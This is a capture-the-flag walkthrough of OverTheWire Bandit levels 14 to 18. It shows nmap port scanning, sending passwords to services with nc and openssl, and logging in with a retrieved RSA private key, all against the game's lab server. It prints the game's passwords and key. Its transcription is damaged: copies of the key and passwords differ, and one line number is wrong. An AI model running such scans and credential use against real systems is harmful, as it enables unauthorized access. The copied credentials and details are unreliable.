ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLFXC5CXIhmAAM/urerLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit13/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit13/.ssh/known_hosts).
```

```

-      ---
| | _ _ _ _ _ | ( ) |
| ' \ / _ | ' \ / _ | | _ |
| | | | | | | | | | | |
| _ _ / \ _ _ | | _ _ / \ _ _ |
```

This is an OverTheWire game server.

More information on <http://www.overthewire.org/wargames>

!!! You are trying to log into this SSH server with a password on port 2220 from localhost.

!!! Connecting from localhost is blocked to conserve resources.

!!! Please log out and log in again.

```

      ,---.      ,---.      ,---.
    / / \      / / \      / / \
   / . . :    / . . :    / . . :
  . / : \ ;   . / : \ ;   . / : \ ;
 . ; / ` ; '___/ ` ; '___/ ` ; '___
; | : \ ; | | : | /___/ \ | ' '
| : | ; | ' ; | ; ; \ \ :
. | ' ' : `---' | | \ ; `   |
' ; \ / | ' : ; . \ \ \ ;
 \ \ ' /   | | ' \ \ \ ' \ |
 ; : /   ' : | : ' | --"
  \ \ '   ; | '   \ \ ;
www. `---` ver `---' he `---" ire.org

```

Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on discord or IRC.

--[Playing the games]--

This machine might hold several wargames.

If you are playing "somegame", then:

- * USERNAMES are somegame0, somegame1, ...
- * Most LEVELS are stored in /somegame/.
- * PASSWORDS for each level are stored in /etc/somegame_pass/.

Write-access to homedirectories is disabled. It is advised to create a working directory with a hard-to-guess name in /tmp/. You can use the command "mktemp -d" in order to generate a random and hard to guess directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc restricted so that users cannot snoop on eachother. Files and directories with easily guessable or short names will be periodically deleted! The /tmp

directory is regularly wiped.

Please play nice:

- * don't leave orphan processes running
- * don't leave exploit-files laying around
- * don't annoy other players
- * don't post passwords or spoilers
- * again, DONT POST SPOILERS!

This includes writeups of your solution on your blog or website!

--[Tips]--

This machine has a 64bit processor and many security-features enabled by default, although ASLR has been switched off. The following compiler flags might be interesting:

```
-m32          compile for 32bit
-fno-stack-protector  disable ProPolice
-Wl,-z,norelro  disable relro
```

In addition, the execstack tool can be used to flag the stack as executable on ELF binaries.

Finally, network-access is limited for most levels by a local firewall.

--[Tools]--

For your convenience we have installed a few useful tools which you can find in the following locations:

- * gef (<https://github.com/hugsy/gef>) in /opt/gef/
- * pwndbg (<https://github.com/pwndbg/pwndbg>) in /opt/pwndbg/
- * gdbinit (<https://github.com/gdbinit/Gdbinit>) in /opt/gdbinit/
- * pwntools (<https://github.com/Gallopsled/pwntools>)
- * radare2 (<http://www.radare.org/>)

--[More information]--

For more information regarding individual wargames, visit

<http://www.overthewire.org/wargames/>

For support, questions or comments, contact us on discord or IRC.

Enjoy your stay!

bandit14@bandit:~\$

bandit14@bandit:~\$ telnet localhost 30000

bandit14@bandit:~\$ telnet localhost 30000

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^J'.

paste the password of bandit14: MU4VWeTyJk8ROof1qqmcBPALh7IDCPvS

Correct!

8xCjnmgoKbGLhHFAZIGE5Tmu4M2tKJQo

Connection closed by foreign host.

bandit14@bandit:~\$ echo "MU4VWeTyJk8ROof1qqmcBPALh7IDCPvS" | nc localhost 30000

Correct!

8xCjnmgoKbGLhHFAZIGE5Tmu4M2tKJQo

password of bandit15 - 8xCjnmgoKbGLhHFAZIGE5Tmu4M2tKJQo

Bandit Level 15 - Level 16

\$ ssh -p2220 bandit15@bandit.labs.overthewire.org

```
bandit15@bandit:~$ echo "8xCjnmgoKbGLhHFAZlGE5Tmu4M2tKJQo" > /tmp/passbandit15.txt
```

Create a file with the password of the previous bandit15

```
bandit15@bandit:~$ openssl s_client localhost:30001 < /tmp/passbandit15.txt
```

```
bandit15@bandit:~$ openssl s_client localhost:30001 < /tmp/passbandit15.txt
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = SnakeOil
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = SnakeOil
verify return:1
---
Certificate chain
 0 s:CN = SnakeOil
  i:CN = SnakeOil
  a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
  v:NotBefore: Jun 10 03:59:50 2024 GMT; NotAfter: Jun  8 03:59:50 2034 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFBzCCAU+gAwIBAgIUBLz7DBxA0IfojaL/WaJzE6Sbz7cwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwIU25ha2VPaWwwHhcNMjQwNjEwMDM1OTUwWhcNMzQwNjA4
MDM1OTUwWjATMREwDwYDVQQDDAhTbmFrZU9pbDCCAiIwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBANI+P5QXm9Bj21FIPsQqbqZRb5XmSZZJYaam7EIj16Fxedf+
jXAv4d/FVqiEM4BuSNsNMeBMx2Gq0IAfN33h+RMTjRoMb8yBsZsC063MLfXCk4p+
09gtGP7BS6ly5XdmfY/fPHvA3JDEScdlDDmd6Lsbdwhv93Q8M6POVO9sv4HuS4t/
jEjr+NhE+Bjr/wDbyg7GL71BP1WPZpQnRE4OzoSrt5+bZVLvODWUFwinB0fLaGRk
Gml0r5EUOUd7HpYyoIQbiNlePGfPpHRKnmdXTTEZEoxeWWAaM1VhPGqfrB/Pnca+
vAJX7iBOb3kHinmfVOScsG/YAUR94wSELeY+UIEWJaELVUntrj5HeRDiTChiVQ++
wnnjNbepaW6shopybUF3XXfhlb4NvwLWpvoKFXVtcVjIOujF0snVvpE+MRT0wacy
tHtjZs7Ao7GYxDz6H8AdBLKJW67uQon37a4MI260ADFMS+2vEAbNSFP+f6ii5mrB
18cY64ZaF6oU8bjGK7BArDx56bRc3WFyuBIGWAFHEuB948BcshXY7baf5jjzPmgz
mq1zdRthQB31MOM2ii6vuTkheAvKff+llH4M9SnES4NSF2hj9NnHga9V08wfhYc
x0W6qu+S8HUdVF+V23yTvUNgz4Q+UoGs4sHSDEsIBFqNvInnpUmtNgcR2L5PAgMB
```

AAGjUzBRMB0GA1UdDgQWBbTPo8kfze4P9EgxNuyk7+xDGfTAYzAfBgNVHSMEGDAW
gBTPo8kfze4P9EgxNuyk7+xDGfTAYzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3
DQEBCwUAA4ICAQAKHomtmcGqyiLnhziLe97Mq2+Sul5QgYVwfx/KYOXxv2T8ZmcR
Ae9XFhZT4jsAOUDK1OXx9aZgDGJHJLNEVTe9zWv1ONFFNxEBxQgP7hbmDBWdtj6d
taqEW/Jp06X+08BtYK9NZsvDg2YRcvOHConeMjwvEL7tQK0m+GVyQfLYg6jnrhx
egH+abucTKxabFcWSE+Vk0uJYMqcbXvB4WNKz9vj4V5Hn7/DN4xIjFko+nREw6Oa
/AUFjNnO/FPjap+d68H1LdzMH3PSs+yjGid+6Zx9FCnt9qZydW13Miqg3nDnODXw
+Z682mQFjVIGPCA5ZOQbyMKY4tNazG2n8qy2famQT3+jF8Lb6a4NGbnpeWnLMklu
jWLWIkA9MIbdNXuajiPNVyYIK9gdoBzbfaKwoOfSsLxEqlf8rio1GGcEV5Hlz5S2
txwI0xdW9MWeGWoiLbZSbRjH4TIBFFtoBG0LoEji0C+UPwS8CDngJB4TyrZqEld3
rH87W+Et1t/Nepoc/Eoaux9PFp5VPXP+qwQGmhir/hv7OsgBhrkYuhkxZ8+1uk7
tUWC/XM0mpLoxsq6vVI3AJaJe1ivdA9xLytsuG4iv02Juc593HXYR8yOpow0Eq2T
U5EyeuFg5RXYwAPI7ykw1PW7zAPL4MlonEVz+QXOSx6eyhimp1VZC11SCg==
-----END CERTIFICATE-----

subject=CN = SnakeOil

issuer=CN = SnakeOil

No client certificate CA names sent

Peer signing digest: SHA256

Peer signature type: RSA-PSS

Server Temp Key: X25519, 253 bits

SSL handshake has read 2103 bytes and written 373 bytes

Verification error: self-signed certificate

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384

Server public key is 4096 bit

Secure Renegotiation IS NOT supported

Compression: NONE

Expansion: NONE

No ALPN negotiated

Early data was not sent

Verify return code: 18 (self-signed certificate)

Post-Handshake New Session Ticket arrived:

SSL-Session:

Protocol : TLSv1.3

Cipher : TLS_AES_256_GCM_SHA384

Session-ID: DB913DD20979C7012B7A33EA837FE4FB8F10C05674E68702ACF9A134FF9EA6D3

Session-ID-ctx:

Resumption PSK:

BBA80756820903613A85A773E680AE36B41A24E410CFAAA344B9FCA9D39613EEA8FDBE607244D65690E6430
5B88E0DE2

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - fa 93 ce 9e 9b db 91 e2-99 9f a3 a9 56 2b ad e3V+..
0010 - be b0 b2 5a 13 ca 38 7f-10 b4 a9 ef 88 83 bb 67 ...Z..8.....g
0020 - 95 08 6d 7c cd b2 55 95-c6 41 e2 f6 a1 f0 a3 04 ..m|..U..A.....
0030 - d4 b2 94 df c1 06 24 0d-c9 43 cd 6e 7b 76 2b bb\$.C.n{v+..
0040 - fa 10 65 12 2d bb 92 59-d7 6a 73 92 49 39 88 fb ..e-..Y.js.l9..
0050 - 75 82 dc 90 88 49 b2 9f-02 ec 19 02 71 1e b9 ff u....l.....q...
0060 - 29 fd 51 2d 49 08 86 be-89 bd 1d 5f fb 65 ef 1f).Q-l....._e..
0070 - 73 cc ba ff cc c3 b8 46-6d a1 fa c8 8e 27 3a 0c s.....Fm....':..
0080 - 01 c5 1e a3 92 80 88 81-60 da 48 07 fb 0e a7 e3`H.....
0090 - fe 2c ca e7 1a 78 94 84-08 87 00 5f d9 7e ec 14 ,....x....._~..
00a0 - a9 5f 5b 9b c7 d5 24 46-1c 5d 8c 03 93 96 5c dd ._[...\$F.]....\
00b0 - 5e 0d 72 46 bb 48 20 47-3f 61 73 ed b6 5b d9 48 ^.rF.H G?as..[.H
00c0 - 1d 3b 15 cf 2e 25 2b e3-a1 89 2e 73 bb 70 f1 17 .;...%+....s.p..
00d0 - 73 28 b4 3f 54 87 0b 8f-9f 0d a7 ec 0a 48 ab f0 s(.?T.....H..

Start Time: 1742699697

Timeout : 7200 (sec)

Verify return code: 18 (self-signed certificate)

Extended master secret: no

Max Early Data: 0

read R BLOCK

Post-Handshake New Session Ticket arrived:

SSL-Session:

Protocol : TLSv1.3

Cipher : TLS_AES_256_GCM_SHA384

Session-ID: 7BCBCF8F2A8625312E3AF88E52595E265E7C2432FABD252B093AE473DB8F0257

Session-ID-ctx:

Resumption PSK:

428EB612107234BBD53BEB46F0557883227782CD76C75A648364CA54BC7D02A9748DE77D86C945AF7462E4A

D12BB8485

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - fa 93 ce 9e 9b db 91 e2-99 9f a3 a9 56 2b ad e3V+..
0010 - 08 9e 2f d5 52 d2 e2 12-d6 41 f0 34 ed a3 5e 61 ../.R....A.4..^a
0020 - 62 fd 39 f1 4a 59 ae 50-d6 c3 34 b4 e2 74 85 f1 b.9.JY.P..4..t..
0030 - f2 1b 62 91 42 74 7c 61-39 99 46 9b 89 50 ef a9 ..b.Bt|a9.F..P..
0040 - 64 a9 b3 2c 70 c0 ae 0a-34 a6 e2 e7 7b e6 a8 0b d.,p...4...{...
0050 - d8 06 2a 05 29 df 1c ec-7a e5 ba 75 02 5f 75 c4 ..*).)...z..u._u.
0060 - 7a 0c 41 ae 5f 1f 0d 5c-7d 11 29 84 9e 34 64 80 z.A._..}\}.).4d.
0070 - cc e1 fc 84 67 41 e4 25-01 89 c7 b4 79 5f 93 c2gA.%....y_..
0080 - 88 9e 8e 16 00 e3 cb 17-ae 43 ae b7 51 50 2b f5C..QP+..
0090 - 76 32 41 30 6a 9b bf 02-e5 d8 c0 32 47 73 c4 fb v2A0j.....2Gs..
00a0 - 44 2d b0 49 db b3 52 ed-e7 ff 95 08 15 22 ce ee D-.l..R....."..
00b0 - da ad ff 58 5d 6f 6a b8-fb af b6 19 e5 e2 96 2f ...X]oj...../
00c0 - 9d 6f 78 2e fa c1 65 8c-c3 c7 3b 94 4a 77 c9 5d .ox...e...;]w.]
00d0 - 5c a1 9d a5 33 76 b5 20-69 da a4 bf c6 1a 12 64 \...3v. i.....d

Start Time: 1742699697

Timeout : 7200 (sec)

Verify return code: 18 (self-signed certificate)

Extended master secret: no

Max Early Data: 0

read R BLOCK

Correct!

kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx

closed

password of bandit16 - kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx

Bandit Level 16 - Level 17

```
$ ssh -p2220 bandit16@bandit.labs.overthewire.org
```

```
bandit16@bandit:~$ nmap -Pn -p31000-32000 -sV localhost
```

Search for the ports that are in service from port 31000 to 32000 in the localhost.

```
bandit16@bandit:~$ nmap -Pn -p31000-32000 -sV localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 03:29 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00022s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
31046/tcp  open  echo
31518/tcp  open  ssl/echo
31691/tcp  open  echo
31790/tcp  open  ssl/unknown
31960/tcp  open  echo
1 service unrecognized despite returning data. If you know the service/version, please submit the following
fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.94SVN%T=SSL%I=7%D=3/23%Time=67DF804A%P=x86_64-pc-linu
SF:x-gnu%(GenericLines,32,"Wrong!\x20Please\x20enter\x20the\x20correct\x2
SF:0current\x20password\\.\\n")%(GetRequest,32,"Wrong!\x20Please\x20enter\x
SF:20the\x20correct\x20current\x20password\\.\\n")%(HTTPOptions,32,"Wrong!\
SF:x20Please\x20enter\x20the\x20correct\x20current\x20password\\.\\n")%(RTS
SF:Prequest,32,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20
SF:password\\.\\n")%(Help,32,"Wrong!\x20Please\x20enter\x20the\x20correct\x
SF:20current\x20password\\.\\n")%(FourOhFourRequest,32,"Wrong!\x20Please\x2
SF:0enter\x20the\x20correct\x20current\x20password\\.\\n")%(LPDString,32,"W
SF:rong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\\.\\n")
SF:%r(SIPOptions,32,"Wrong!\x20Please\x20enter\x20the\x20correct\x20curren
SF:t\x20password\\.\\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.13 seconds
```

```
SF-Port31790-
TCP:V=7.94SVN%T=SSL%I=7%D=3/23%Time=67DF804A%P=x86_64-pc-linu
```

In the line above is shows that the port 31790 needs a password. Using the password kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx

echo "kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx" | openssl s_client -connect localhost:31790 -ign_eof

```
bandit16@bandit:~$ echo "kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx" | openssl s_client -connect
localhost:31790 -ign_eof
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = SnakeOil
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = SnakeOil
verify return:1
---
Certificate chain
 0 s:CN = SnakeOil
  i:CN = SnakeOil
  a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
  v:NotBefore: Jun 10 03:59:50 2024 GMT; NotAfter: Jun  8 03:59:50 2034 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFBzCCAU+gAwIBAgIUBLz7DBxA0lfojaL/WajzE6Sbz7cwDQYJKoZIhvcNAQEL
BQAwEzERMA8GA1UEAwU25ha2VPaWwwHhcNMjQwNjEwMDM1OTUwWhcNMzQwNjA4
MDM1OTUwWjATMREwDwYDVQQDDAhTbmFrZU9pbDCCAILwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBANI+P5QXm9Bj21FIPsQqbqZRb5XmSZZYaam7ElJ16Fxedf+
jXAv4d/FVqiEM4BuSNsNMeBMx2Gq0IAfN33h+RMTjRoMb8yBsZsC063MLfXCk4p+
09gtGP7BS6ly5XdmfY/fPHvA3JDEScdlDDmd6Lsbdwhv93Q8M6POVO9sv4HuS4t/
jEjr+NhE+Bjr/wDbyg7GL71BP1WPZpQnRE4OzoSrt5+bZVLvODWUFWinB0fLaGRk
Gml0r5EUOUd7HpYyoIQbiNlePGfPpHRKnmdXTTEZEoxeWWAaM1VhPGqfrB/Pnca+
vAJX7iBOB3kHinmfVOScsG/YAUR94wSELeY+UIEWJaELVUntrj5HeRDiTChiVQ++
wnnjNbepaW6shopybUF3XXfhIb4NvwLWpvoKFXVtcVjIOujF0snVvpE+MRT0wacy
tHtjZs7Ao7GYxDz6H8AdBLKJW67uQon37a4MI260ADFMS+2vEAbNSFP+f6ii5mrB
18cY64ZaF6oU8bjGK7BArDx56bRc3WFyuBIGWAFHEuB948BcshXY7baf5jjzPmgz
mq1zdRthQB31MOM2ii6vuTkheAvKff+llH4M9SnES4NSF2hj9NnHga9V08wfhYc
x0W6qu+S8HUdVF+V23yTvUNgz4Q+UoGs4sHSDEsIBFqNvInnpUmtNgcR2L5PAgMB
AAGjUzBRMB0GA1UdDgQWBTPo8kfze4P9EgxNuyk7+xDGfAYzAfBgNVHSMEGDAW
```

gBTPo8kfze4P9EgxNuyk7+xDGfAYzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSib3
DQEBcWUAA4ICAQAKHomtmcGqyiLnhziLe97Mq2+Sul5QgYVwfx/KYOXxv2T8ZmcR
Ae9XFhZT4jsAOUDK1OXx9aZgDGJHJLNEVTe9zWv1ONFfNxEBxQgP7hbmDBWdtj6d
taqEW/Jp06X+08BtNkY9NZsvDg2YRcvOHConeMjwvEL7tQK0m+GVyQfLYg6jnrhx
egH+abucTKxabFcWSE+Vk0uJYMqcbXvB4WNKz9vj4V5Hn7/DN4xIjFko+nREw6Oa
/AUFjNnO/FPjap+d68H1LdzMH3PSs+yjGid+6Zx9FCnt9qZydW13Miqg3nDnODXw
+Z682mQFjVIGPCA5ZOQbyMKY4tNazG2n8qy2famQT3+jF8Lb6a4NGbnpeWnLMklu
jWLWika9MlbdNXuajjPNVYIYK9gdoBzbfaKwoOfSsLxEqlf8rio1GGcEV5Hlz5S2
txwl0xdW9MWeGWoiLbZSbRjH4TIBFFtoBG0LoEji0C+UPwS8CDngJB4TyrZqEld3
rH87W+Et1t/Nepoc/Eoaux9PFp5VPXP+qwQGmhir/hv7OsgBhrkYuhkxZ8+1uk7
tUWC/XM0mpLoxsq6vVI3AJaJe1ivdA9xLytsuG4iv02Juc593HXYR8yOpow0Eq2T
U5EyouFg5RXYwAPI7ykW1PW7zAPL4MlonEVz+QXOSx6eyhimp1VZC11SCg==

-----END CERTIFICATE-----

subject=CN = SnakeOil

issuer=CN = SnakeOil

No client certificate CA names sent

Peer signing digest: SHA256

Peer signature type: RSA-PSS

Server Temp Key: X25519, 253 bits

SSL handshake has read 2103 bytes and written 373 bytes

Verification error: self-signed certificate

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384

Server public key is 4096 bit

Secure Renegotiation IS NOT supported

Compression: NONE

Expansion: NONE

No ALPN negotiated

Early data was not sent

Verify return code: 18 (self-signed certificate)

Post-Handshake New Session Ticket arrived:

SSL-Session:

Protocol : TLSv1.3

Cipher : TLS_AES_256_GCM_SHA384

Session-ID: B5604EB1371F87BC2243B2DFF084A9FDBA1FC9B7E429F83FC2A338B93FE7DF05

Session-ID-ctx:

Resumption PSK:

074C0C4998116196DA2755F6F98D26BC93C2ABAD63B9A9B79C66EF991D9C6F3997B695382FA0C5751E62661
9E80C4E8C

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - 65 4f 28 b4 a4 21 c3 43-f9 75 e1 e7 ba c3 6c 78 eO(...!C.u....lx
0010 - 7e d4 e7 e8 d5 98 2c be-53 fc 79 d6 e4 72 55 c8 ~.....,S.y..rU.
0020 - 08 9a 4c 3c 51 5d 38 9f-e6 1b 1f fe a2 26 6f ec ..L<Q]8.....&o.
0030 - fd ae ff 67 3d 35 f2 83-81 b7 aa 1a db 0e c2 8c ...g=5.....
0040 - 58 a6 cf 66 ae cf 9e 96-d6 62 ce 00 f1 f3 16 c2 X..f.....b.....
0050 - 73 49 ba 91 b6 e3 49 92-c7 fc 56 14 da c6 27 1f sl....l...V...'.
0060 - 7c 23 a2 35 3d 9d f5 55-d8 0c 85 a8 d6 70 13 f5 |#.5=..U.....p..
0070 - e1 8a 1c 2a a0 6e 9c 6d-05 3a 1e 9f b6 80 a5 df ...*.n.m.:.....
0080 - 12 74 f3 b0 36 30 ba 7e-f8 40 14 06 0a 52 2b a1 .t..60.~.@...R+.
0090 - 78 49 14 65 fd 5b 9b 3e-60 a0 1d 10 2d 1c 07 d0 xl.e.[.>`...-...
00a0 - e0 14 f8 c1 db 81 4a bc-49 2d 35 22 c7 24 78 6dJ.l-5".\$xm
00b0 - 9b f0 67 c7 25 39 a9 36-60 8c a2 c2 bd d9 86 0a ..g.%9.6`.....
00c0 - a5 5b 98 01 0c aa 09 d6-9b 54 8c 7a e4 90 89 af .[.....T.z....
00d0 - c1 9c 45 11 e6 79 99 49-44 18 d0 b3 e2 f2 e2 f1 ..E..y.ID.....

Start Time: 1742701153

Timeout : 7200 (sec)

Verify return code: 18 (self-signed certificate)

Extended master secret: no

Max Early Data: 0

read R BLOCK

Post-Handshake New Session Ticket arrived:

SSL-Session:

Protocol : TLSv1.3

Cipher : TLS_AES_256_GCM_SHA384

Session-ID: F38B4EF522C6B53FCFB4035714DCD8F86442DC9E18C45BAAA255F3B422FB98CA

Session-ID-ctx:

Resumption PSK:

7A6764601D7C6FBC47B013CA24345D437F49368C4799BF1FC1B70373DB901BFA8D95DE5C830F5A6112CC7C1
0580EC85F

PSK identity: None

PSK identity hint: None

SRP username: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - 65 4f 28 b4 a4 21 c3 43-f9 75 e1 e7 ba c3 6c 78 eO(!.!.C.u....lx
0010 - bb 92 4b 34 02 18 fe 7d-17 17 c7 e2 4a e5 88 67 ..K4...}....J..g
0020 - c9 9e ae d0 51 5a 91 00-ca 97 b1 a6 4f 2a 9b 32QZ.....O*.2
0030 - 49 3a e3 7e 2d 81 20 71-0d 3f b3 cf 31 cf bd f1 l:~-. q?...1...
0040 - e0 44 2a a4 0b f4 ae 0f-63 1f d0 e9 2d 7a f8 52 .D*.....c...-z.R
0050 - c1 bf 0a fe 62 39 22 61-63 6a 49 52 1d 1e 1b e7b9"acjIR....
0060 - 1c e2 07 71 7d 43 3d f7-4a 50 85 25 ae 1b 8b ba ...q}C=.JP.%....
0070 - f7 a3 64 82 19 19 c7 5b-10 b7 ff b1 d5 fe 48 66 ..d....[.....Hf
0080 - 56 36 44 ad 45 ca 5b db-d2 59 eb a0 c5 21 96 2b V6D.E[..Y...!.+
0090 - 75 8d 40 04 b0 c7 c7 02-aa aa 31 f5 2c 06 e2 7b u.@.....1,...{
00a0 - e5 5e e8 24 b7 15 08 82-9d 18 ce ec 81 5b ab 1c .^.\$.....[..
00b0 - 8f 30 d7 3b e8 2e ec f2-53 49 7a fa 18 20 7c a9 .0.;....Slz.. |.
00c0 - 48 08 6a 27 83 d4 dd 86-01 ac 3f 66 c6 4b 01 22 H.j'.....?f.K."
00d0 - 8b a2 c5 58 3d f4 81 63-ad 78 62 ac c2 f7 05 8b ...X=..c.xb.....

Start Time: 1742701153

Timeout : 7200 (sec)

Verify return code: 18 (self-signed certificate)

Extended master secret: no

Max Early Data: 0

read R BLOCK

Correct!

-----BEGIN RSA PRIVATE KEY-----

MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxijSWI/oTqexh+cAMTSMIOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2IUvLE/GL2GWyuKN0K5iCd5TbtjzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
jGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNUdE6SFthOar69jp5RILwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBURj7lyCtXMIu1kkd4w7F77k+DjHoAXycUp1DGL51sOmama

```
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dElkza8ky5molwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHK/fur85OEfc9TncnCY2crpoqsgghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyC9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpjVyusavPzpaJMjdJ6tcFhVAbAjm7enCivGCSx+X3I5SiWg0A
R57hjglezliVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tji93V5Hdi
TtieK7xRVxUI+iU7rWkGAXFpMLFteQEsRr7Pj/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEklwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGoiu
L8ktHMPvodBwNsSBULpG0QKBgBApITfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YodjHdSOoKvDQNWu6ucyLRAWFuSeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIjdjp+ez8duyn3ieo36yrttF5NSsJLABxPdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBI04f7HVM6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsx8MBTakzh3
vBgysi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6lgeuZ/ujbY=
-----END RSA PRIVATE KEY-----
```

closed

The end of the result is the PRIVATE KEY of the access to the next level.

Save the following text in a file called key.private

```
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAACAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxijSWl/oTqexh+cAMTSMIOJf7+BrJObArndx9Y7YT2bRPQ
Ja6Lzb558YW3FZI87ORiO+rW4LCDcNd2IUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAZjTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RILwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbjLmXkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpms8A
vLY9r60wYSvmZhNqBUrj7lyCtXmLu1kkd4w7F77k+DjHoAXycUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dElkza8ky5molwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHK/fur85OEfc9TncnCY2crpoqsgghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyC9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
```


Permissions 0664 for 'key.private' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "key.private": bad permissions
bandit17@bandit.labs.overthewire.org's password:

If the above appeared change the permission of the key.private file to 600

\$ chmod 600 key.private and try to connect again using the key.private.

\$ ssh -p2220 -i key.private bandit17@bandit.labs.overthewire.org

```
bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< ktfgBvpMzWKR5ENj26IbLGSblgUG9CzB
---
> x2gLTTjFwMOhQ8oWNbMN362QKxfRqGIO
```

Line 5 is the new password.

password of bandit18 - x2gLTTjFwMOhQ8oWNbMN362QKxfRqGIO

Bandit Level 18 - Level 19

\$ ssh -p2220 bandit18@bandit.labs.overthewire.org

When connecting to the server using ssh and it is validated but is logs out.

```
$ ssh -p2220 bandit18@bandit.labs.overthewire.org
```

```
 _ _ _ _ _
|_| _ _ _ _ _|_|_|
|_| \ _ _|_| \ _ _|_|_|
```

